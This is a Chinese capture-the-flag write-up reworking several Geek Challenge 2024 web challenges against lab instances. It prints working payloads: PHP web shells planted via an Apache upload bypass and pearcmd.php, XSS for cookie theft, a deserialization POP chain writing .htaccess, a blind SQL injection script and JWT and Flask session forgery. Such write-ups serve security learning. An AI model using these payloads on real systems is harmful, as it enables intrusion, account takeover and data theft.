0x01前言 极客2024没来得及比赛就结束了,所以下面的都是后面复现去做的
0x02赛题 baby_upload hint:Parar说他的黑名单无懈可击,GSBP师傅只花了十分钟就拿下了他的权限,你看看怎么绕过呢
先上传一个php文件看看
有过滤,把文件内容删掉后测试发现存在后缀名验证,先看看能不能绕过这个,后面我随便上传一个图片都显示上传失败,有点神奇
换个思路,先随便在url中传入一个路径
版本apache2.4.10,CVE-2017-15715,然后当时就复现了一下写在另一篇文章了,这里直接给payload
先上传我们的一句话木马然后抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 POST /index.php HTTP/2 Host: 80-74c251eb-096f-471b-ac79-241c6f54f8bc.challenge.ctfplus.cn Cookie: _ga=GA1.1.143187499.1742196271; _clck=1553zmg%7C2%7Cfui%7C0%7C1902; _ga_BFDVYZJ3DE=GS1.1.1742866027.5.1.1742866306.0.0.0 Content-Length: 420 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Origin: https://80-74c251eb-096f-471b-ac79-241c6f54f8bc.challenge.ctfplus.cn Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCrce63X7dVz32SvP Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://80-74c251eb-096f-471b-ac79-241c6f54f8bc.challenge.ctfplus.cn/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Priority: u=0, i ------WebKitFormBoundaryCrce63X7dVz32SvP Content-Disposition: form-data; name="upload_file"; filename="1.php" Content-Type: application/octet-stream <?php @eval($_POST['cmd']); ?> ------WebKitFormBoundaryCrce63X7dVz32SvP Content-Disposition: form-data; name="name" 1.php ------WebKitFormBoundaryCrce63X7dVz32SvP Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundaryCrce63X7dVz32SvP--
name的值是我自己设置的1.php,然后在1.php后加上0a
上传返回uploads/1.php路径,我们访问uploads/1.php%0a能访问出来,蚁剑连接拿flag
Problem_On_My_Web starven师傅想要向他的女神表白,所以他专门写了个表白墙用来写他的甜言蜜语,你能看看他的表白墙有什么问题吗
看到url里的参数去测试了一下发现漏洞点不在这
然后在/manager路径下有一个提示
1 If you could tell me where my website has a problem,i would give you a gift in my cookies!!! [Post url=]
post传参url=]提示Your host must be 127.0.0.1 and can be visit,但是修改请求头后没打通
在/forms看到有留言板,打xss测试一下
1 <script>alert(1)</script>
一开始没看到有弹窗,然后把网页关掉重新开就有了,重新开靶机打xss
根据刚刚的那个提示,尝试把cookie带出来
1 <script>alert(document.cookie)</script>
然后在/manager路径post
传这个之后应该就会有管理员去触发我们的xss
rce_me Just rce me
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php header ("Content-type:text/html;charset=utf-8" );highlight_file (__FILE__ );error_reporting (0 );if (!is_array ($_POST ["start" ])) { if (!preg_match ("/start.*now/is" , $_POST ["start" ])) { if (strpos ($_POST ["start" ], "start now" ) === false ) { die ("Well, you haven't started.<br>" ); } } } echo "Welcome to GeekChallenge2024!<br>" ;if ( sha1 ((string ) $_POST ["__2024.geekchallenge.ctf" ]) == md5 ("Geekchallenge2024_bmKtL" ) && (string ) $_POST ["__2024.geekchallenge.ctf" ] != "Geekchallenge2024_bmKtL" && is_numeric (intval ($_POST ["__2024.geekchallenge.ctf" ])) ) { echo "You took the first step!<br>" ; foreach ($_GET as $key => $value ) { $$key = $value ; } if (intval ($year ) < 2024 && intval ($year + 1 ) > 2025 ) { echo "Well, I know the year is 2024<br>" ; if (preg_match ("/.+?rce/ism" , $purpose )) { die ("nonono" ); } if (stripos ($purpose , "rce" ) === false ) { die ("nonononono" ); } echo "Get the flag now!<br>" ; eval ($GLOBALS ['code' ]); } else { echo "It is not enough to stop you!<br>" ; } } else { echo "It is so easy, do you know sha1 and md5?<br>" ; } ?> Well, you haven't started.
按照代码先post传一个start=start now进行下面的代码
1 2 3 4 5 if ( sha1 ((string ) $_POST ["__2024.geekchallenge.ctf" ]) == md5 ("Geekchallenge2024_bmKtL" ) && (string ) $_POST ["__2024.geekchallenge.ctf" ] != "Geekchallenge2024_bmKtL" && is_numeric (intval ($_POST ["__2024.geekchallenge.ctf" ])) )
将Geekchallenge2024_bmKtL进行md5加密后发现值为0e开头的0e073277003087724660601042042394,这里就是强碰撞了,但是要求我们传入纯数字的__2024.geekchallenge.ctf,那我们就直接找sha1加密后是0e开头的看看里面有没有纯数字的值
sha1强碰撞 1 2 3 4 5 6 7 <?php $a = 10932435112 ;$b = "Geekchallenge2024_bmKtL" ;if (sha1 ($a ) == md5 ($b )){ echo "right" ; }
参考:https://blog.csdn.net/cosmoslin/article/details/120973888
payload
1 start=start now&__2024.geekchallenge.ctf=10932435112
非法变量解析 一开始没成功,后面仔细看发现是非法变量的问题,用[去绕过就行
1 start=start now&_[2024.geekchallenge.ctf=10932435112
继续下一层
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 foreach ($_GET as $key => $value ) { $$key = $value ; } if (intval ($year ) < 2024 && intval ($year + 1 ) > 2025 ) { echo "Well, I know the year is 2024<br>" ; if (preg_match ("/.+?rce/ism" , $purpose )) { die ("nonono" ); } if (stripos ($purpose , "rce" ) === false ) { die ("nonononono" ); } echo "Get the flag now!<br>" ; eval ($GLOBALS ['code' ]);
$$下的动态变量,进行变量覆盖
可以创建后续要用的 $year $purpose $code
intval() 的截断特性
intval()
函数会将字符串转换为整数,但会截断非数字部分。,例如我们传入2023e1经过处理后就是2023
所以我们传入year=2023e1
1 2 3 在intval处理后就是2023,是满足<2024的,但是后面的intval($year+1)>2025是为什么可以满足呢? 在 $year + 1 中,如果 $year 是字符串,PHP 会尝试将其转换为数字。 "2023e1" + 1 返回 20231(因为 "2023e1" 被解析为科学计数法,即 2023 * 10^1 = 20230,加 1 后为 20231)。
然后$purpose的话需要绕过stripos
绕过stripos 用数组可以绕过这个判断,stripos在处理数组的时候会返回null,是等于false的
最后code就传命令进行rce就行
ezpop #死亡exit绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php Class SYC{ public $starven ; public function __call ($name , $arguments ) { if (preg_match ('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i' ,$this ->starven)){ die ('no hack' ); } file_put_contents ($this ->starven,"<?php exit();" .$this ->starven); } } Class lover{ public $J1rry ; public $meimeng ; public function __destruct ( ) { if (isset ($this ->J1rry)&&file_get_contents ($this ->J1rry)=='Welcome GeekChallenge 2024' ){ echo "success" ; $this ->meimeng->source; } } public function __invoke ( ) { echo $this ->meimeng; } } Class Geek{ public $GSBP ; public function __get ($name ) { $Challenge = $this ->GSBP; return $Challenge (); } public function __toString ( ) { $this ->GSBP->Getflag (); return "Just do it" ; } } if ($_GET ['data' ]){ if (preg_match ("/meimeng/i" ,$_GET ['data' ])){ die ("no hack" ); } unserialize ($_GET ['data' ]); }else { highlight_file (__FILE__ ); }
第一眼猜是php反序列化,继续往下看
其实这道题的pop链很简单啊,每个触发点都是很明白的,直接写pop链就行
1 lover::__destruct->Geek::__get->lover::->__invoke->Geek::__toString->SYC::__call
然后我们需要关注一个点就是关于死亡exit的绕过
php死亡exit()绕过
第二种情况
1 file_put_contents($content,"<?php exit();".$content);
可以用rot13编码绕过
1 2 content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php 通过管道符进行逐步执行,将中间的进行rot13编码后写入shell.php中
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php Class SYC{ public $starven ; } Class lover{ public $J1rry ="data://text/plain,Welcome GeekChallenge 2024" ; public $meimeng ; } Class Geek{ public $GSBP ; } $a = new lover ();$a ->meimeng=new Geek ();$a ->meimeng->GSBP = new lover ();$a ->meimeng->GSBP->meimeng = new Geek ();$a ->meimeng->GSBP->meimeng->GSBP = new SYC ();$a ->meimeng->GSBP->meimeng->GSBP->starven = 'php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php' ;$b = serialize ($a );echo urlencode ($c );
序列化后的字符
1 O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";s:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";s:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";s:64:"php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php";}}}}}
额没注意看这里过滤了rot,那就试着.htaccess预处理包含文件,自定义包含flag文件
1 2 php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag"."\n"."#/resource=.htaccess
解释一下payload
write=string.strip_tags
是 php://filter
的一个过滤器,表示在写入数据时,使用 strip_tags
函数去除 HTML 和 PHP 标签。
?>
:关闭 PHP 标签,表示后续内容是纯文本。
php_value auto_prepend_file /flag
:这是一个 Apache 配置指令,表示在执行 PHP 脚本之前,自动包含 /flag
文件。
"\n"
:换行符,用于分隔指令。
#
:注释符号,表示后续内容被忽略。
/resource=.htaccess
指定了目标文件为 .htaccess
。
那最终的exp就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php Class SYC{ public $starven ; } Class lover{ public $J1rry ="data://text/plain,Welcome GeekChallenge 2024" ; public $meimeng ; } Class Geek{ public $GSBP ; } $a = new lover ();$a ->meimeng=new Geek ();$a ->meimeng->GSBP = new lover ();$a ->meimeng->GSBP->meimeng = new Geek ();$a ->meimeng->GSBP->meimeng->GSBP = new SYC ();$a ->meimeng->GSBP->meimeng->GSBP->starven = "php://filter/write=string.strip_tags/?>php_value_auto_prepend_file /flag" ."\n" ."#/resource=/htaccess" ;$b = serialize ($a );$c =str_replace ("s:7:\"meimeng\";" ,"S:7:\"\\6deimeng\";" ,$b );echo urlencode ($c );
payload
1 ?data=O%3A5%3A%22lover%22%3A2%3A%7Bs%3A5%3A%22J1rry%22%3Bs%3A44%3A%22data%3A%2F%2Ftext%2Fplain%2CWelcome+GeekChallenge+2024%22%3BS%3A7%3A%22%5C6deimeng%22%3BO%3A4%3A%22Geek%22%3A1%3A%7Bs%3A4%3A%22GSBP%22%3BO%3A5%3A%22lover%22%3A2%3A%7Bs%3A5%3A%22J1rry%22%3Bs%3A44%3A%22data%3A%2F%2Ftext%2Fplain%2CWelcome+GeekChallenge+2024%22%3BS%3A7%3A%22%5C6deimeng%22%3BO%3A4%3A%22Geek%22%3A1%3A%7Bs%3A4%3A%22GSBP%22%3BO%3A3%3A%22SYC%22%3A1%3A%7Bs%3A7%3A%22starven%22%3Bs%3A93%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%2F%3F%3Ephp_value+auto_prepend_file+%2Fflag%0A%23%2Fresource%3D.htaccess%22%3B%7D%7D%7D%7D%7D
为什么这里是大写 S
?
在 PHP 的序列化字符串中,如果字符串包含 非 ASCII 字符 或 转义字符 ,PHP 会使用 S
标记来表示这是一个 二进制安全的字符串 。
在 S:7:"\6deimeng";
中,大写 S
的出现是因为字符串中包含了转义字符 \6
。PHP 的序列化机制会自动将包含转义字符或非 ASCII 字符的字符串标记为二进制安全字符串,因此使用 S
而不是 s
。
ez_include #require_once 绕过不能重复包含文件的限制 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );require_once 'starven_secret.php' ;if (isset ($_GET ['file' ])) { if (preg_match ('/starven_secret.php/i' , $_GET ['file' ])) { require_once $_GET ['file' ]; }else { echo "还想非预期?" ; } }
有限制的文件包含,之前有学习过
看看php的版本,是PHP/7.3.22,那就不能用00截断去包含,试试路径长度截断文件包含
操作系统存在着最大路径长度的限制。可以输入超过最大路劲长度的目录,这样系统就会将后面的路劲丢弃,导致拓展名截断。
Windows下最大路径长度为256B
Linux下最大路径长度为4096B
大部分靶机都是Linux环境啊那我们就试一下
1 2 3 4 5 6 ?file=php://filter/convert.base64- encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/sel f/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/roo t/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
通过 preg_match
检查用户输入,确保只有包含 starven_secret.php
的路径才能被加载。,但由于 require_once
的特性,即使匹配成功,也不会重复加载目标文件。所以我们想要读取到starven_secret.php,就需要通过构造超长路径,使得路径被截断,最终访问到 starven_secret.php
。
出来了,拿去解密一下
1 2 3 <?php $secret = "congratulation! you can goto /levelllll2.php to capture the flag!"; ?>
#pear文件包含 访问/levelllll2.php得到
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ["syc" ])){ $file = $_GET ["syc" ]; $hint = "register_argc_argv = On" ; if (preg_match ("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i" , $file )) { die ("hint都给的这么明显了还不会做?" ); } if (substr ($_SERVER ['REQUEST_URI' ], -4 ) === '.php' ){ include $file ; } }
分析
意味着 PHP 会启用对命令行参数的处理,并将这些参数传递给脚本的 $argc
和 $argv
变量。
$argc
变量会存储命令行参数的数量(包括脚本名称)。
$argv
变量会存储一个数组,包含所有命令行参数。
考虑pear文件包含,利用pearcmd.php进行包含
因为这里create禁用了,所以可以通过远程包含的方式去包含一句话木马文件
payload
1 ?syc=/usr/local/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
打了半天没打通,最后发现是hackbar传参会把<和>进行编码导致我们的木马失效,那就用bp发包吧
1 2 3 4 5 6 7 8 9 10 11 12 GET /levelllll2.php?syc=/usr/local/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php HTTP/1.1 Host: 80-2686a728-2d3c-41a7-93c4-237b011ac5b1.challenge.ctfplus.cn Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: _ga=GA1.1.143187499.1742196271; _clck=1553zmg%7C2%7Cfui%7C0%7C1902; _ga_BFDVYZJ3DE=GS1.1.1742889070.9.1.1742889075.0.0.0; _clsk=9d8936%7C1742894848566%7C1%7C1%7Cw.clarity.ms%2Fcollect Connection: keep-alive
然后hackbar
成功RCE,发现disable_function里没有禁用函数,那就找flag
flag找了半天目录没找到,估计是在环境变量里
ez_http 前面跟着做就行
第一层
1 2 Level1: please use get parameter welcome nonono,I need welcome == geekchallenge2024
GET传参
1 ?welcome=geekchallenge2024
第二层
1 2 Level2:please user two post params username & password nonono, username=Starven , password=qwert123456
POST传参
1 username=Starven&password=qwert123456
第三层
1 Level3:you must from https://www.sycsec.com
设置Referer请求头
1 Referer: https://www.sycsec.com
第四层
1 Level4:you must from local ip
设置X-Forwarded-For
1 X-Forwarded-For: 127.0.0.1
标识客户端的原始 IP 地址,但是发现没成功
换成X-Real-IP
标识客户端的真实 IP 地址。
第五层
1 2 3 4 5 6 Level5:you must let Starven give you flag <?php if ($_SERVER ["HTTP_STARVEN" ] == "I_Want_Flag" ) { echo "........" ; } nonono,you can't get my flag
意思很明显了,设置个STARVEN请求头
有一段token,那就解密一下
JWT的,估计是需要将hasFlag改为true
源码里发现了key
1 <!--key is "Starven_secret_key"-->
伪造JWT知识点 参考文章:JWT及JWT伪造
首先需要了解的就是传统的session认证和基于token的鉴权机制的区别,session伪造之前有学过,这里就直接讲后者了
基于token的鉴权机制 基于token的鉴权机制类似于http协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息。这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了 ,这就为应用的扩展提供了便利。
机制流程:
用户使用用户名密码来请求服务器
服务器进行验证用户的信息
服务器通过验证发送给用户一个token
客户端存储token,并在每次请求时附送上这个token值
服务端验证token值,并返回数据
然后就是JWT的构成
JWT的构成 JWT的数据格式分为三个部分: headers , payloads,signature(签名),它们使用.
点号分割。
头部(header)
将json进行base64就组成了JWT的头部
jwt的头部承载两部分信息:
声明类型
声明加密的算法 ,通常直接使用 HMAC SHA256。这的加密算法也就是签名算法。
例如这道题目中的第一段解密后就是
1 {"typ":"JWT","alg":"HS256"}
载荷(payload)
载荷就是存放有效信息的地方 。这个名字像是特指飞机上承载的货品,这些有效信息包含三个部分
例如我们题目中的第二部分进行base64解密后就是
1 {"iss":"Starven","aud":"Ctfer","iat":1742903065,"nbf":1742903065,"exp":1742910265,"username":"Starven","password":"qwert123456","hasFlag":false}
签证(signature) jwt的第三部分是一个签证信息,这个签证信息由三部分组成:
header (base64加密后的)
payload (base64加密后的)
secret
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。
注意:secret是保存在服务器端的,jwt的签发生成也是在服务器端的,secret就是用来进行jwt的签发和jwt的验证,所以,它就是你服务端的私钥,在任何场景都不应该流露出去。一旦客户端得知这个secret,那就意味着客户端是可以自我签发jwt了。
所以我们这道题中的key应该就是secret私钥,接下来我们讲JWT token破解绕过
JWT token破解绕过 基于刚刚我们把token进行解密可以看到外面需要将hasFlag改为true,而且要通过服务器的验证,这点很重要,并不是直接把false改成true就万事大吉了。因为服务器收到token后会对token的有效性进行验证。
验证方法:首先服务端会产生一个key,然后以这个key作为密钥,使用第一部分选择的加密方式(这里就是HS256),对第一部分和第二部分拼接的结果进行加密,然后把加密结果放到第三部分。
服务器每次收到信息都会对它的前两部分进行加密,然后比对加密后的结果是否跟客户端传送过来的第三部分相同,如果相同则验证通过,否则失败。
因为加密算法我们已经知道了,我们只要再得到加密的key,我们就能伪造数据,并且通过服务器的检查。
JWT破解工具:https://github.com/brendan-rius/c-jwt-cracker
解码网站:https://jwt.io/
解密网站:https://www.bejson.com/jwt/
设置为true后放入key进行编码,然后传入cookie请求头中
总的payload就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /?welcome=geekchallenge2024 HTTP/1.1 Host: 80-702bb6be-bcc4-4300-a30e-b7101cc44548.challenge.ctfplus.cn Content-Length: 37 Cache-Control: max-age=0 Origin: http://80-702bb6be-bcc4-4300-a30e-b7101cc44548.challenge.ctfplus.cn Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: https://www.sycsec.com X-Real-IP: 127.0.0.1 STARVEN: I_Want_Flag Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 cookie:token= eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3NDI5MDQ2MDksIm5iZiI6MTc0MjkwNDYwOSwiZXhwIjoxNzQyOTExODA5LCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.EJpNrB7OOHahdDVAwhXz-bgCJbApP8hUxBqgku2husk Connection: keep-alive username=Starven&password=qwert123456
funnySQL #时间盲注 就是一个简单的SQL啦 - SYC{}内的字母全为小写
需要提交username,没啥信息泄露,先测试一下吧
测试了一下发现有黑名单过滤,会返回警告
那就直接fuzz吧,测试的黑名单大致如下
1 2 3 if (preg_match ('/and|or| |\n|--|sleep|=|ascii/i' ,$str )){ die ('不准用!' ); }
页面无回显也没报错,也没有正确与否的页面反馈,那就考虑时间盲注了
sleep被过滤了很好绕,可以用benchmark,=号可以用like去绕过,空格可以用/**/去绕过,先测试一下大致的延时
1 ?username='||if(1,benchmark(2000000,sha1(1)),0)%23//休眠3.6秒左右
先爆数据库,payload:
1 2 ?username='||if((substr(database(),{i},1)/**/like/**/' {j}'),benchmark(2000000,sha1(1)),0)%23 #数据库名为syclover
这里还需要打无列名注入,因为or被ban了,information和performance这俩库都不能用,可以用innodb表,payload如下
1 2 ?username='||if((substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/' syclover'),{i},1)/**/like/**/' {j}'),benchmark(10000000,sha1(1)),0)%23 #表名有Rea11ys3ccccccr3333t,users
一开始没爆出来,后面发现数据库是小写的syclover,可能跟数据库默认的大小写规则有关
第一次爆表名的时候没注意到一个细节,如果设置j的范围是32-128的话,小写字母都会在_
的时候卡住,这是因为like的模糊匹配机制 导致的_
可以匹配任意一个字符。所以需要改成准确的dict字符串去进行遍历
然后就是爆表中列名了,因为这里没过滤union和select,我们可以用union取别名去爆列中数据,但是我这里是直接把Rea11ys3ccccccr3333t的数据全部爆出来的,因为刚好表中就只有flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import timeimport requestsimport datetimeurl = "http://80-90a9708b-3563-4bfb-a6cd-544252819a6f.challenge.ctfplus.cn/index.php" dict = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&'()*+,-./:;<=>?@[\]^`{|}~" table = "" for i in range (1 ,50 ): sign = 0 for j in dict : payload = f"?username='||if((substr((select/**/*/**/from/**/Rea11ys3ccccccr3333t),{i} ,1)/**/like/**/'{j} '),benchmark(5000000,sha1(1)),0)%23" print (payload) time1 = datetime.datetime.now() r = requests.get(url+payload) time2 = datetime.datetime.now() sec = (time2-time1).seconds if sec > 2.5 : sign = 1 table += j print (table) break if sign == 0 : break print (table)
py_game 一个注册和登录界面,注册后登录
提示只有admin才能访问admin面板,扫目录的时候看到有admin路径,但是访问的时候跳转到login登录界面了,猜测是需要伪造admin身份去登录才能访问
有小游戏,在/play源码中得到提示
1 <!--嘿嘿,游戏通关也不会有flag 听说flag在/flag哦-->
给了flag的位置,此外就没啥可用的信息了,抓包之后也没看到有什么提示
#伪造session 然后在注册页面输入admin之后显示用户名已存在,让我想起来之前sql的一个漏洞,用sql的验证机制去绕过尝试匹配admin登录,但是失败了
后来发现登录后的页面有session,试着用flask-unsign去解密
是flask下的session,猜测是利用session伪造admin,爆破一下密钥
伪造身份
在页面修改session然后刷新
这时候可用访问/admin路径了,有备份源码app.pyc,需要反编译
#反编译+原型链污染 安装uncompyle6然后用这个进行反编译
1 2 pip install uncompyle6//安装python反编译器 uncompyle6 -o . app.pyc
拿到app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 import jsonfrom lxml import etreefrom flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonifyapp = Flask(__name__) app.secret_key = "a123456" app.config["xml_data" ] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>' class User : def __init__ (self, username, password ): self .username = username self .password = password def check (self, data ): return self .username == data["username" ] and self .password == data["password" ] admin = User("admin" , "123456j1rrynonono" ) Users = [admin] def update (src, dst ): for k, v in src.items(): if hasattr (dst, "__getitem__" ): if dst.get(k): if isinstance (v, dict ): update(v, dst.get(k)) dst[k] = v elif hasattr (dst, k) and isinstance (v, dict ): update(v, getattr (dst, k)) else : setattr (dst, k, v) @app.route("/register" , methods=["GET" , "POST" ] ) def register (): if request.method == "POST" : username = request.form["username" ] password = request.form["password" ] for u in Users: if u.username == username: flash("用户名已存在" , "error" ) return redirect(url_for("register" )) new_user = User(username, password) Users.append(new_user) flash("注册成功!请登录" , "success" ) return redirect(url_for("login" )) else : return render_template("register.html" ) @app.route("/login" , methods=["GET" , "POST" ] ) def login (): if request.method == "POST" : username = request.form["username" ] password = request.form["password" ] for u in Users: if u.check({'username' :username, 'password' :password}): session["username" ] = username flash("登录成功" , "success" ) return redirect(url_for("dashboard" )) flash("用户名或密码错误" , "error" ) return redirect(url_for("login" )) else : return render_template("login.html" ) @app.route("/play" , methods=["GET" , "POST" ] ) def play (): if "username" in session: with open ("/app/templates/play.html" , "r" , encoding="utf-8" ) as file: play_html = file.read() return play_html else : flash("请先登录" , "error" ) return redirect(url_for("login" )) @app.route("/admin" , methods=["GET" , "POST" ] ) def admin (): if "username" in session: if session["username" ] == "admin" : return render_template("admin.html" , username=(session["username" ])) flash("你没有权限访问" , "error" ) return redirect(url_for("login" )) @app.route("/downloads321" ) def downloads321 (): return send_file("./source/app.pyc" , as_attachment=True ) @app.route("/" ) def index (): return render_template("index.html" ) @app.route("/dashboard" ) def dashboard (): if "username" in session: is_admin = session["username" ] == "admin" if is_admin: user_tag = "Admin User" else : user_tag = "Normal User" return render_template("dashboard.html" , username=(session["username" ]), tag=user_tag, is_admin=is_admin) else : flash("请先登录" , "error" ) return redirect(url_for("login" )) @app.route("/xml_parse" ) def xml_parse (): try : xml_bytes = app.config["xml_data" ].encode("utf-8" ) parser = etree.XMLParser(load_dtd=True , resolve_entities=True ) tree = etree.fromstring(xml_bytes, parser=parser) result_xml = etree.tostring(tree, pretty_print=True , encoding="utf-8" , xml_declaration=True ) return Response(result_xml, mimetype="application/xml" ) except etree.XMLSyntaxError as e: return str (e) black_list = [ "__class__" .encode(), "__init__" .encode(), "__globals__" .encode()] def check (data ): print (data) for i in black_list: print (i) if i in data: print (i) return False return True @app.route("/update" , methods=["POST" ] ) def update_route (): if "username" in session: if session["username" ] == "admin" : if request.data: try : if not check(request.data): return ('NONONO, Bad Hacker' , 403 ) else : data = json.loads(request.data.decode()) print (data) if all ("static" not in str (value) and "dtd" not in str (value) and "file" not in str (value) and "environ" not in str (value) for value in data.values()): update(data, User) return (jsonify({"message" : "更新成功" }), 200 ) return ('Invalid character' , 400 ) except Exception as e: return ( f"Exception: {str (e)} " , 500 ) else : return ('No data provided' , 400 ) else : flash("你没有权限访问" , "error" ) return redirect(url_for("login" )) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=80 , debug=False )
关注一段比较重要的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 def update (src, dst ): for k, v in src.items(): if hasattr (dst, "__getitem__" ): if dst.get(k): if isinstance (v, dict ): update(v, dst.get(k)) dst[k] = v elif hasattr (dst, k) and isinstance (v, dict ): update(v, getattr (dst, k)) else : setattr (dst, k, v) payload = { "__class__" : { "__base__" : { "secret" : "world" } } }
最经典的原型链污染中的merge函数,考虑python原型链污染,当时这个点有点忘记了,于是回去复习了一波
ez_SSRF lhRaMk7写了个计算器网站用来通过他的小升初数学考试,Parar看不惯直接黑了他的网站不给他作弊,你们觉得能让他作弊吗
打开只有一句话
1 Maybe you should check check some place in my website
让我们检查一下,那就常规搜集一下可用的信息,有www.zip压缩文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );if (!isset ($_POST ['user' ])){ $user ="stranger" ; }else { $user =$_POST ['user' ]; } if (isset ($_GET ['location' ])) { $location =$_GET ['location' ]; $client =new SoapClient (null ,array ( "location" =>$location , "uri" =>"hahaha" , "login" =>"guest" , "password" =>"gueeeeest!!!!" , "user_agent" =>$user ."'s Chrome" )); $client ->calculator (); echo file_get_contents ("result" ); }else { echo "Please give me a location" ; }
